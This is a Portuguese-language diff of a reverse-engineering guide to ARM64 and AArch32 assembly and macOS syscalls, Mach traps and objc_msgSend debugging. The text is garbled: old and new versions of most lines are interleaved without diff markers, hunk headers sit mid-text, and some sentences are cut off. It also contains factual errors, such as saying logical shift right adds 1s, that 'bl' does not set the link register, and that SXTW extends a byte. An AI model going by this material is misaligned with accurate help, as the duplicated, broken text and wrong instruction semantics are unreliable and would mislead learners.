* **`extr`:** Extrai bits de um **par de registradores concatenados** especificados.
|
||||
* Exemplo: `EXTR W3, W2, W1, #3` Isso **concatena W1+W2** e pega **do bit 3 de W2 até o bit 3 de W1** e armazena em W3.
|
||||
* **`cmp`**: **Compara** dois registradores e define as flags de condição. É um **sinônimo de `subs`** definindo o registrador de destino como o registrador zero. Útil para saber se `m == n`.
|
||||
* Suporta a **mesma sintaxe que `subs`**
|
||||
* Exemplo: `cmp x0, x1` — Isso compara os valores em `x0` e `x1` e define as flags de condição adequadamente.
|
||||
* **`cmn`**: **Compara negativo** o operando. Neste caso, é um **sinônimo de `adds`** e suporta a mesma sintaxe. Útil para saber se `m == -n`.
|
||||
* **`ccmp`**: Comparação condicional, é uma comparação que será realizada apenas se uma comparação anterior for verdadeira e definirá especificamente os bits nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, pule para func
|
||||
* Isso ocorre porque **`ccmp`** será executado apenas se o **`cmp` anterior for um `NE`**, se não, os bits `nzcv` serão definidos como 0 (o que não satisfará a comparação `blt`).
|
||||
* Isso também pode ser usado como `ccmn` (mesmo, mas negativo, como `cmp` vs `cmn`).
|
||||
* **`tst`**: Verifica se algum dos valores da comparação são ambos 1 (funciona como um ANDS sem armazenar o resultado em nenhum lugar). É útil para verificar um registro com um valor e verificar se algum dos bits do registro indicado no valor é 1.
|
||||
* Exemplo: `tst X1, #7` Verifica se algum dos últimos 3 bits de X1 é 1
|
||||
* **`teq`**: Operação XOR descartando o resultado
|
||||
* **`b`**: Ramificação incondicional
|
||||
* Exemplo: `b minhaFuncao`
|
||||
* Note que isso não preencherá o registrador de link com o endereço de retorno (não adequado para chamadas de sub-rotina que precisam retornar)
|
||||
* **`bl`**: **Ramificação** com link, usada para **chamar** uma **sub-rotina**. Armazena o **endereço de retorno em `x30`**.
|
||||
* Exemplo: `bl minhaFuncao` — Isso chama a função `minhaFuncao` e armazena o endereço de retorno em `x30`.
|
||||
* Note que isso não preencherá o registrador de link com o endereço de retorno (não adequado para chamadas de sub-rotina que precisam retornar)
|
||||
* **`blr`**: **Ramificação** com Link para Registrador, usada para **chamar** uma **sub-rotina** onde o destino é **especificado** em um **registrador**. Armazena o endereço de retorno em `x30`. (Este é
|
||||
* **Deslocamento lógico à esquerda**: Adiciona 0s do final movendo os outros bits para frente (multiplica por n vezes 2).
|
||||
* **Deslocamento lógico à direita**: Adiciona 1s no início movendo os outros bits para trás (divide por n vezes 2 em não assinado).
|
||||
* **Deslocamento aritmético à direita**: Como **`lsr`**, mas em vez de adicionar 0s, se o bit mais significativo for 1, **1s são adicionados** (divide por n vezes 2 em assinado).
|
||||
* **Rotacionar à direita**: Como **`lsr`**, mas o que for removido da direita é anexado à esquerda.
|
||||
* **Rotacionar à direita com extensão**: Como **`ror`**, mas com a flag de carry como o "bit mais significativo". Assim, a flag de carry é movida para o bit 31 e o bit removido para a flag de carry.
|
||||
* **`bfm`**: **Movimento de Campo de Bits**, essas operações **copiam bits `0...n`** de um valor e os colocam em posições **`m..m+n`**. O **`#s`** especifica a **posição do bit mais à esquerda** e **`#r`** a **quantidade de rotação à direita**.
|
||||
* Movimento de campo de bits: `BFM Xd, Xn, #r`.
|
||||
* Movimento de campo de bits assinado: `SBFM Xd, Xn, #r, #s`.
|
||||
* Movimento de campo de bits não assinado: `UBFM Xd, Xn, #r, #s`.
|
||||
* **Extração e Inserção de Campo de Bits:** Copia um campo de bits de um registrador e o copia para outro registrador.
|
||||
* **`BFI X1, X2, #3, #4`** Insere 4 bits de X2 a partir do 3º bit de X1.
|
||||
* **`BFXIL X1, X2, #3, #4`** Extrai do 3º bit de X2 quatro bits e os copia para X1.
|
||||
* **`SBFIZ X1, X2, #3, #4`** Estende o sinal de 4 bits de X2 e os insere em X1 começando na posição do bit 3 zerando os bits à direita.
|
||||
* **`SBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2, estende o sinal e coloca o resultado em X1.
|
||||
* **`UBFIZ X1, X2, #3, #4`** Estende 4 bits de X2 e os insere em X1 começando na posição do bit 3 zerando os bits à direita.
|
||||
* **`UBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2 e coloca o resultado estendido a zero em X1.
|
||||
* **Extensão de Sinal para X:** Estende o sinal (ou adiciona apenas 0s na versão não assinada) de um valor para poder realizar operações com ele:
|
||||
* **`SXTB X1, W2`** Estende o sinal de um byte **de W2 para X1** (`W2` é metade de `X2`) para preencher os 64 bits.
|
||||
* **`SXTH X1, W2`** Estende o sinal de um número de 16 bits **de W2 para X1** para preencher os 64 bits.
|
||||
* **`SXTW X1, W2`** Estende o sinal de um byte **de W2 para X1** para preencher os 64 bits.
|
||||
* **`UXTB X1, W2`** Adiciona 0s (não assinado) a um byte **de W2 para X1** para preencher os 64 bits.
|
||||
* **`extr`:** Extrai bits de um **par de registradores especificados concatenados**.
|
||||
* Exemplo: `EXTR W3, W2, W1, #3` Isso irá **concatenar W1+W2** e obter **do bit 3 de W2 até o bit 3 de W1** e armazená-lo em W3.
|
||||
* **`cmp`**: **Comparar** dois registradores e definir flags de condição. É um **alias de `subs`** definindo o registrador de destino como o registrador zero. Útil para saber se `m == n`.
|
||||
* Suporta a **mesma sintaxe que `subs`**.
|
||||
* Exemplo: `cmp x0, x1` — Isso compara os valores em `x0` e `x1` e define as flags de condição de acordo.
|
||||
* **`cmn`**: **Comparar o operando negativo**. Neste caso, é um **alias de `adds`** e suporta a mesma sintaxe. Útil para saber se `m == -n`.
|
||||
* **`ccmp`**: Comparação condicional, é uma comparação que será realizada apenas se uma comparação anterior foi verdadeira e definirá especificamente os bits nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salte para func.
|
||||
* Isso ocorre porque **`ccmp`** só será executado se a **comparação anterior `cmp` foi um `NE`**, se não foi, os bits `nzcv` serão definidos como 0 (o que não satisfará a comparação `blt`).
|
||||
* Isso também pode ser usado como `ccmn` (o mesmo, mas negativo, como `cmp` vs `cmn`).
|
||||
* **`tst`**: Verifica se algum dos valores da comparação é 1 (funciona como um ANDS sem armazenar o resultado em nenhum lugar). É útil para verificar um registrador com um valor e verificar se algum dos bits do registrador indicado no valor é 1.
|
||||
* Exemplo: `tst X1, #7` Verifica se algum dos últimos 3 bits de X1 é 1.
|
||||
* **`teq`**: Operação XOR descartando o resultado.
|
||||
* **`b`**: Branch incondicional.
|
||||
* Exemplo: `b myFunction`.
|
||||
* Note que isso não preencherá o registrador de link com o endereço de retorno (não é adequado para chamadas de sub-rotina que precisam retornar).
|
||||
* **`bl`**: **Branch** com link, usado para **chamar** uma **sub-rotina**. Armazena o **endereço de retorno em `x30`**.
|
||||
* Exemplo: `bl myFunction` — Isso chama a função `myFunction` e armazena o endereço de retorno em `x30`.
|
||||
* Note que isso não preencherá o registrador de link com o endereço de retorno (não é adequado para chamadas de sub-rotina que precisam retornar).
|
||||
* **`blr`**: **Branch** com Link para Registrador, usado para **chamar** uma **sub-rotina** onde o alvo é **especificado** em um **registrador**. Armazena o endereço de retorno em `x30`. (Isso é
|
||||
* Exemplo: `blr x1` — Isso chama a função cujo endereço está contido em `x1` e armazena o endereço de retorno em `x30`.
|
||||
* **`ret`**: **Retorno** da **sub-rotina**, normalmente usando o endereço em **`x30`**.
|
||||
* **`ret`**: **Retornar** da **sub-rotina**, normalmente usando o endereço em **`x30`**.
|
||||
* Exemplo: `ret` — Isso retorna da sub-rotina atual usando o endereço de retorno em `x30`.
|
||||
* **`b.<cond>`**: Ramificações condicionais
|
||||
* **`b.eq`**: **Ramifica se igual**, com base na instrução `cmp` anterior.
|
||||
* **`b.<cond>`**: Branches condicionais.
|
||||
* **`b.eq`**: **Branch se igual**, com base na instrução `cmp` anterior.
|
||||
* Exemplo: `b.eq label` — Se a instrução `cmp` anterior encontrou dois valores iguais, isso salta para `label`.
|
||||
* **`b.ne`**: **Branch if Not Equal**. Esta instrução verifica as flags de condição (que foram definidas por uma instrução de comparação anterior) e, se os valores comparados não forem iguais, faz um salto para um rótulo ou endereço.
|
||||
* **`b.ne`**: **Branch se Não Igual**. Esta instrução verifica as flags de condição (que foram definidas por uma instrução de comparação anterior), e se os valores comparados não forem iguais, ela faz um branch para um rótulo ou endereço.
|
||||
* Exemplo: Após uma instrução `cmp x0, x1`, `b.ne label` — Se os valores em `x0` e `x1` não forem iguais, isso salta para `label`.
|
||||
* **`cbz`**: **Comparar e Salto se Zero**. Esta instrução compara um registro com zero e, se forem iguais, faz um salto para um rótulo ou endereço.
|
||||
* **`cbz`**: **Comparar e Branch em Zero**. Esta instrução compara um registrador com zero, e se forem iguais, faz um branch para um rótulo ou endereço.
|
||||
* Exemplo: `cbz x0, label` — Se o valor em `x0` for zero, isso salta para `label`.
|
||||
* **`cbnz`**: **Comparar e Salto se Não Zero**. Esta instrução compara um registro com zero e, se não forem iguais, faz um salto para um rótulo ou endereço.
|
||||
* Exemplo: `cbnz x0, label` — Se o valor em `x0` for diferente de zero, isso salta para `label`.
|
||||
* **`tbnz`**: Testar bit e saltar se não for zero
|
||||
* Exemplo: `tbnz x0, #8, label`
|
||||
* **`tbz`**: Testar bit e saltar se for zero
|
||||
* Exemplo: `tbz x0, #8, label`
|
||||
* **Operações de seleção condicional**: São operações cujo comportamento varia dependendo dos bits condicionais.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se verdadeiro, X0 = X1, se falso, X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> Se verdadeiro, Xd = Xn + 1, se falso, Xd = Xn
|
||||
* `csinv Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = NÃO(Xm)
|
||||
* `cinv Xd, Xn, cond` -> Se verdadeiro, Xd = NÃO(Xn), se falso, Xd = Xn
|
||||
* `csneg Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> Se verdadeiro, Xd = - Xn, se falso, Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = 1, se falso, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = \<todos 1>, se falso, Xd = 0
|
||||
* **`adrp`**: Calcular o **endereço da página de um símbolo** e armazená-lo em um registro.
|
||||
* Exemplo: `adrp x0, symbol` — Isso calcula o endereço da página do `símbolo` e armazena em `x0`.
|
||||
* **`cbnz`**: **Comparar e Branch em Não Zero**. Esta instrução compara um registrador com zero, e se não forem iguais, faz um branch para um rótulo ou endereço.
|
||||
* Exemplo: `cbnz x0, label` — Se o valor em `x0` for não zero, isso salta para `label`.
|
||||
* **`tbnz`**: Testa o bit e faz branch em não zero.
|
||||
* Exemplo: `tbnz x0, #8, label`.
|
||||
* **`tbz`**: Testa o bit e faz branch em zero.
|
||||
* Exemplo: `tbz x0, #8, label`.
|
||||
* **Operações de seleção condicional**: Estas são operações cujo comportamento varia dependendo dos bits condicionais.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se verdadeiro, X0 = X1, se falso, X0 = X2.
|
||||
* `csinc Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = Xm + 1.
|
||||
* `cinc Xd, Xn, cond` -> Se verdadeiro, Xd = Xn + 1, se falso, Xd = Xn.
|
||||
* `csinv Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = NOT(Xm).
|
||||
* `cinv Xd, Xn, cond` -> Se verdadeiro, Xd = NOT(Xn), se falso, Xd = Xn.
|
||||
* `csneg Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = - Xm.
|
||||
* `cneg Xd, Xn, cond` -> Se verdadeiro, Xd = - Xn, se falso, Xd = Xn.
|
||||
* `cset Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = 1, se falso, Xd = 0.
|
||||
* `csetm Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = \<todos 1>, se falso, Xd = 0.
|
||||
* **`adrp`**: Calcula o **endereço da página de um símbolo** e o armazena em um registrador.
|
||||
* Exemplo: `adrp x0, symbol` — Isso calcula o endereço da página de `symbol` e o armazena em `x0`.
|
||||
* **`ldrsw`**: **Carregar** um valor **32 bits** assinado da memória e **estendê-lo para 64** bits.
|
||||
* Exemplo: `ldrsw x0, [x1]` — Isso carrega um valor assinado de 32 bits da localização de memória apontada por `x1`, estende para 64 bits e armazena em `x0`.
|
||||
* **`stur`**: **Armazenar um valor de registro em uma localização de memória**, usando um deslocamento de outro registro.
|
||||
* Exemplo: `stur x0, [x1, #4]` — Isso armazena o valor em `x0` na localização de memória que está 4 bytes à frente do endereço atual em `x1`.
|
||||
* **`svc`** : Fazer uma **chamada de sistema**. Significa "Chamada de Supervisor". Quando o processador executa esta instrução, ele **muda do modo usuário para o modo kernel** e salta para uma localização específica na memória onde o código de **manipulação de chamada de sistema do kernel** está localizado.
|
||||
* Exemplo: `ldrsw x0, [x1]` — Isso carrega um valor assinado de 32 bits da localização de memória apontada por `x1`, estende-o para 64 bits e o armazena em `x0`.
|
||||
* **`stur`**: **Armazenar um valor de registrador em uma localização de memória**, usando um deslocamento de outro registrador.
|
||||
* Exemplo: `stur x0, [x1, #4]` — Isso armazena o valor em `x0` na localização de memória que é 4 bytes maior do que o endereço atualmente em `x1`.
|
||||
* **`svc`** : Faz uma **chamada de sistema**. Significa "Supervisor Call". Quando o processador executa esta instrução, ele **muda do modo de usuário para o modo de kernel** e salta para um local específico na memória onde o **código de manipulação de chamadas de sistema do kernel** está localizado.
|
||||
* Exemplo:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Carregar o número da chamada de sistema para saída (93) no registro x8.
|
||||
mov x0, 0 ; Carregar o código de status de saída (0) no registro x0.
|
||||
svc 0 ; Fazer a chamada de sistema.
|
||||
mov x8, 93 ; Carrega o número da chamada de sistema para sair (93) no registrador x8.
|
||||
mov x0, 0 ; Carrega o código de status de saída (0) no registrador x0.
|
||||
svc 0 ; Faz a chamada de sistema.
|
||||
```
|
||||
|
||||
### **Prólogo da Função**
|
||||
|
||||
1. **Salvar o registro de link e o ponteiro de quadro na pilha**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
1. **Salvar o registrador de link e o ponteiro de quadro na pilha**:
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
2. **Configurar o novo ponteiro de quadro**: `mov x29, sp` (configura o novo ponteiro de quadro para a função atual)
|
||||
3. **Alocar espaço na pilha para variáveis locais** (se necessário): `sub sp, sp, <size>` (onde `<size>` é o número de bytes necessário)
|
||||
3. **Alocar espaço na pilha para variáveis locais** (se necessário): `sub sp, sp, <size>` (onde `<size>` é o número de bytes necessários)
|
||||
|
||||
### **Epílogo da Função**
|
||||
### **Epilogo da Função**
|
||||
|
||||
1. **Desalocar variáveis locais (se alguma foi alocada)**: `add sp, sp, <size>`
|
||||
2. **Restaurar o registro de link e o ponteiro de quadro**:
|
||||
2. **Restaurar o registrador de link e o ponteiro de quadro**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
@ -264,12 +263,12 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
|
||||
## Estado de Execução AARCH32
|
||||
|
||||
Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode ser executado em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
|
||||
Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o 32 bits de menor privilégio.\
|
||||
Observe que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 do** registro especial **`SPSR_ELx`** **para 1** quando o processo de thread `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena os programas **`AArch32`** CPSR. Em seguida, o processo privilegiado chama a instrução **`ERET`** para que o processador faça a transição para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR\*\*.\*\*
|
||||
Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode operar em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
|
||||
Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o nível de privilégio inferior de 32 bits.\
|
||||
Note que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 de** **`SPSR_ELx`** registro especial **para 1** quando o thread do processo `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena o **`AArch32`** CPSR. Em seguida, o processo privilegiado chama a instrução **`ERET`** para que o processador transite para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR\*\*.\*\*
|
||||
|
||||
O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em configurar o **bit mais baixo para 1** para indicar que o conjunto de instruções é T32.\
|
||||
Isso é configurado durante as **instruções de ramificação de interworking**, mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registro de destino. Exemplo:
|
||||
O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em definir o **bit mais baixo como 1** para indicar que o conjunto de instruções é T32.\
|
||||
Isso é configurado durante as **instruções de ramificação interworking**, mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registrador de destino. Exemplo:
|
||||
|
||||
Outro exemplo:
|
||||
```armasm
|
||||
|
@ -282,50 +281,50 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
|||
mov r0, #0
|
||||
mov r0, #8
|
||||
```
|
||||
### Registros
|
||||
### Registradores
|
||||
|
||||
Existem 16 registradores de 32 bits (r0-r15). **De r0 a r14** eles podem ser usados para **qualquer operação**, no entanto alguns deles geralmente são reservados:
|
||||
Existem 16 registradores de 32 bits (r0-r15). **De r0 a r14** eles podem ser usados para **qualquer operação**, no entanto, alguns deles geralmente são reservados:
|
||||
|
||||
- **`r15`**: Contador de programa (sempre). Contém o endereço da próxima instrução. No A32 atual + 8, no T32, atual + 4.
|
||||
- **`r11`**: Ponteiro de quadro
|
||||
- **`r12`**: Registrador de chamada intra-procedural
|
||||
- **`r13`**: Ponteiro de pilha
|
||||
- **`r14`**: Registrador de link
|
||||
* **`r15`**: Contador de programa (sempre). Contém o endereço da próxima instrução. Em A32 atual + 8, em T32, atual + 4.
|
||||
* **`r11`**: Ponteiro de quadro
|
||||
* **`r12`**: Registrador de chamada intra-processual
|
||||
* **`r13`**: Ponteiro de pilha
|
||||
* **`r14`**: Registrador de link
|
||||
|
||||
Além disso, os registradores são salvos em **registros bancários**. Que são locais que armazenam os valores dos registradores permitindo realizar **trocas de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar manualmente os registradores toda vez.\
|
||||
Isso é feito salvando o estado do processador do **`CPSR` para o `SPSR`** do modo do processador para o qual a exceção é tomada. No retorno da exceção, o **`CPSR`** é restaurado do **`SPSR`**.
|
||||
Além disso, os registradores são salvos em **`registros bancados`**. Que são lugares que armazenam os valores dos registradores permitindo realizar **trocas de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar registradores manualmente toda vez.\
|
||||
Isso é feito **salvando o estado do processador do `CPSR` para o `SPSR`** do modo do processador ao qual a exceção é gerada. Ao retornar da exceção, o **`CPSR`** é restaurado do **`SPSR`**.
|
||||
|
||||
### CPSR - Registro de Status do Programa Atual
|
||||
|
||||
No AArch32, o CPSR funciona de forma semelhante ao **`PSTATE`** no AArch64 e também é armazenado em **`SPSR_ELx`** quando uma exceção é tomada para restaurar posteriormente a execução:
|
||||
Em AArch32, o CPSR funciona de forma semelhante ao **`PSTATE`** em AArch64 e também é armazenado em **`SPSR_ELx`** quando uma exceção é gerada para restaurar a execução posteriormente:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Os campos são divididos em alguns grupos:
|
||||
|
||||
- Registro de Status do Programa de Aplicação (APSR): Flags aritméticas e acessíveis a partir do EL0
|
||||
- Registros de Estado de Execução: Comportamento do processo (gerenciado pelo SO).
|
||||
* Registro de Status do Programa de Aplicação (APSR): Flags aritméticas e acessíveis a partir do EL0
|
||||
* Registradores de Estado de Execução: Comportamento do processo (gerenciado pelo SO).
|
||||
|
||||
#### Registro de Status do Programa de Aplicação (APSR)
|
||||
|
||||
- As flags **`N`**, **`Z`**, **`C`**, **`V`** (assim como no AArch64)
|
||||
- A flag **`Q`**: É definida como 1 sempre que ocorre **saturação de inteiro** durante a execução de uma instrução aritmética de saturação especializada. Uma vez definida como **`1`**, ela manterá o valor até ser definida manualmente como 0. Além disso, não há nenhuma instrução que verifique seu valor implicitamente, deve ser feito lendo-o manualmente.
|
||||
- Flags **`GE`** (Maior ou igual): É usada em operações SIMD (Single Instruction, Multiple Data), como "adição paralela" e "subtração paralela". Essas operações permitem processar vários pontos de dados em uma única instrução.
|
||||
* As flags **`N`**, **`Z`**, **`C`**, **`V`** (assim como em AArch64)
|
||||
* A flag **`Q`**: É definida como 1 sempre que **ocorre saturação inteira** durante a execução de uma instrução aritmética de saturação especializada. Uma vez definida como **`1`**, manterá o valor até que seja manualmente definida como 0. Além disso, não há nenhuma instrução que verifique seu valor implicitamente, deve ser feito lendo-o manualmente.
|
||||
* Flags **`GE`** (Maior ou igual): É usada em operações SIMD (Instrução Única, Múltiplos Dados), como "adição paralela" e "subtração paralela". Essas operações permitem processar múltiplos pontos de dados em uma única instrução.
|
||||
|
||||
Por exemplo, a instrução **`UADD8`** **adiciona quatro pares de bytes** (de dois operandos de 32 bits) em paralelo e armazena os resultados em um registrador de 32 bits. Em seguida, **define as flags `GE` no `APSR`** com base nesses resultados. Cada flag GE corresponde a uma das adições de bytes, indicando se a adição para esse par de bytes **transbordou**.
|
||||
Por exemplo, a instrução **`UADD8`** **adiciona quatro pares de bytes** (de dois operandos de 32 bits) em paralelo e armazena os resultados em um registrador de 32 bits. Em seguida, **define as flags `GE` no `APSR`** com base nesses resultados. Cada flag GE corresponde a uma das adições de bytes, indicando se a adição para aquele par de bytes **transbordou**.
|
||||
|
||||
A instrução **`SEL`** usa essas flags GE para realizar ações condicionais.
|
||||
|
||||
#### Registros de Estado de Execução
|
||||
#### Registradores de Estado de Execução
|
||||
|
||||
- Os bits **`J`** e **`T`**: **`J`** deve ser 0 e se **`T`** for 0, o conjunto de instruções A32 é usado, e se for 1, o T32 é usado.
|
||||
- Registro de Estado de Bloco IT (`ITSTATE`): São os bits de 10 a 15 e 25 a 26. Eles armazenam condições para instruções dentro de um grupo prefixado por **`IT`**.
|
||||
- Bit **`E`**: Indica a **ordem dos bytes**.
|
||||
- Bits de Máscara de Modo e Exceção (0-4): Eles determinam o estado de execução atual. O quinto indica se o programa é executado como 32 bits (um 1) ou 64 bits (um 0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando ocorre uma exceção e está sendo tratada). O conjunto de números indica a **prioridade atual** no caso de outra exceção ser acionada enquanto esta está sendo tratada.
|
||||
* Os bits **`J`** e **`T`**: **`J`** deve ser 0 e se **`T`** for 0, o conjunto de instruções A32 é usado, e se for 1, o T32 é usado.
|
||||
* **Registro de Estado do Bloco IT** (`ITSTATE`): Esses são os bits de 10-15 e 25-26. Eles armazenam condições para instruções dentro de um grupo prefixado por **`IT`**.
|
||||
* Bit **`E`**: Indica a **endianness**.
|
||||
* **Bits de Modo e Máscara de Exceção** (0-4): Eles determinam o estado de execução atual. O **5º** indica se o programa está sendo executado como 32 bits (um 1) ou 64 bits (um 0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando uma exceção ocorre e está sendo tratada). O número definido **indica a prioridade atual** caso outra exceção seja acionada enquanto esta está sendo tratada.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: Certas exceções podem ser desativadas usando os bits **`A`**, `I`, `F`. Se **`A`** for 1, significa que **abortos assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção de Hardware** externas (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
|
||||
* **`AIF`**: Certas exceções podem ser desativadas usando os bits **`A`**, `I`, `F`. Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção** de hardware externo (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -335,9 +334,11 @@ Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3
|
|||
|
||||
### Armadilhas Mach
|
||||
|
||||
Confira em [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) a `mach_trap_table` e em [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) os protótipos. O número máximo de armadilhas Mach é `MACH_TRAP_TABLE_COUNT` = 128. As armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **sinal de menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**.
|
||||
Confira em [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) a `mach_trap_table` e em [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) os protótipos. O número máximo de armadilhas Mach é `MACH_TRAP_TABLE_COUNT` = 128. As armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**.
|
||||
|
||||
Você também pode verificar **`libsystem_kernel.dylib`** em um desmontador para descobrir como chamar essas chamadas de sistema (e BSD):
|
||||
Você também pode verificar **`libsystem_kernel.dylib`** em um desassemblador para encontrar como chamar essas (e BSD) chamadas de sistema:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
|
@ -347,19 +348,21 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Note que **Ida** e **Ghidra** também podem descompilar **dylibs específicas** do cache apenas passando pelo cache.
|
||||
|
||||
{% hint style="success" %}
|
||||
Às vezes é mais fácil verificar o código **descompilado** de **`libsystem_kernel.dylib`** do que verificar o **código-fonte** porque o código de várias chamadas de sistema (BSD e Mach) é gerado por scripts (verifique os comentários no código-fonte) enquanto na dylib você pode encontrar o que está sendo chamado.
|
||||
Às vezes, é mais fácil verificar o código **descompilado** de **`libsystem_kernel.dylib`** **do que** verificar o **código-fonte** porque o código de várias syscalls (BSD e Mach) é gerado via scripts (ver comentários no código-fonte), enquanto na dylib você pode encontrar o que está sendo chamado.
|
||||
{% endhint %}
|
||||
|
||||
### chamadas machdep
|
||||
|
||||
O XNU suporta outro tipo de chamadas chamadas dependentes da máquina. O número dessas chamadas depende da arquitetura e nem as chamadas nem os números são garantidos de permanecerem constantes.
|
||||
XNU suporta outro tipo de chamadas chamadas dependentes de máquina. Os números dessas chamadas dependem da arquitetura e nem as chamadas nem os números são garantidos para permanecer constantes.
|
||||
|
||||
### página comm
|
||||
### página de comunicação
|
||||
|
||||
Esta é uma página de memória do proprietário do kernel que é mapeada no espaço de endereço de todos os processos de usuários. Destina-se a tornar a transição do modo de usuário para o espaço do kernel mais rápida do que usar chamadas de sistema para serviços do kernel que são usados com tanta frequência que essa transição seria muito ineficiente.
|
||||
Esta é uma página de memória de propriedade do kernel que está mapeada no espaço de endereços de cada processo de usuário. É destinada a tornar a transição do modo usuário para o espaço do kernel mais rápida do que usar syscalls para serviços do kernel que são usados tanto que essa transição seria muito ineficiente.
|
||||
|
||||
Por exemplo, a chamada `gettimeofdate` lê o valor de `timeval` diretamente da página comm.
|
||||
Por exemplo, a chamada `gettimeofdate` lê o valor de `timeval` diretamente da página de comunicação.
|
||||
|
||||
### objc\_msgSend
|
||||
|
||||
|
@ -371,7 +374,7 @@ Parâmetros ([mais informações na documentação](https://developer.apple.com/
|
|||
* x1: op -> Seletor do método
|
||||
* x2... -> Restante dos argumentos do método invocado
|
||||
|
||||
Portanto, se você colocar um breakpoint antes do branch para esta função, você pode facilmente descobrir o que é invocado no lldb com (neste exemplo, o objeto chama um objeto de `NSConcreteTask` que executará um comando):
|
||||
Então, se você colocar um breakpoint antes do ramo para esta função, pode facilmente encontrar o que está sendo invocado no lldb com (neste exemplo, o objeto chama um objeto de `NSConcreteTask` que irá executar um comando):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
|
@ -390,28 +393,28 @@ whoami
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
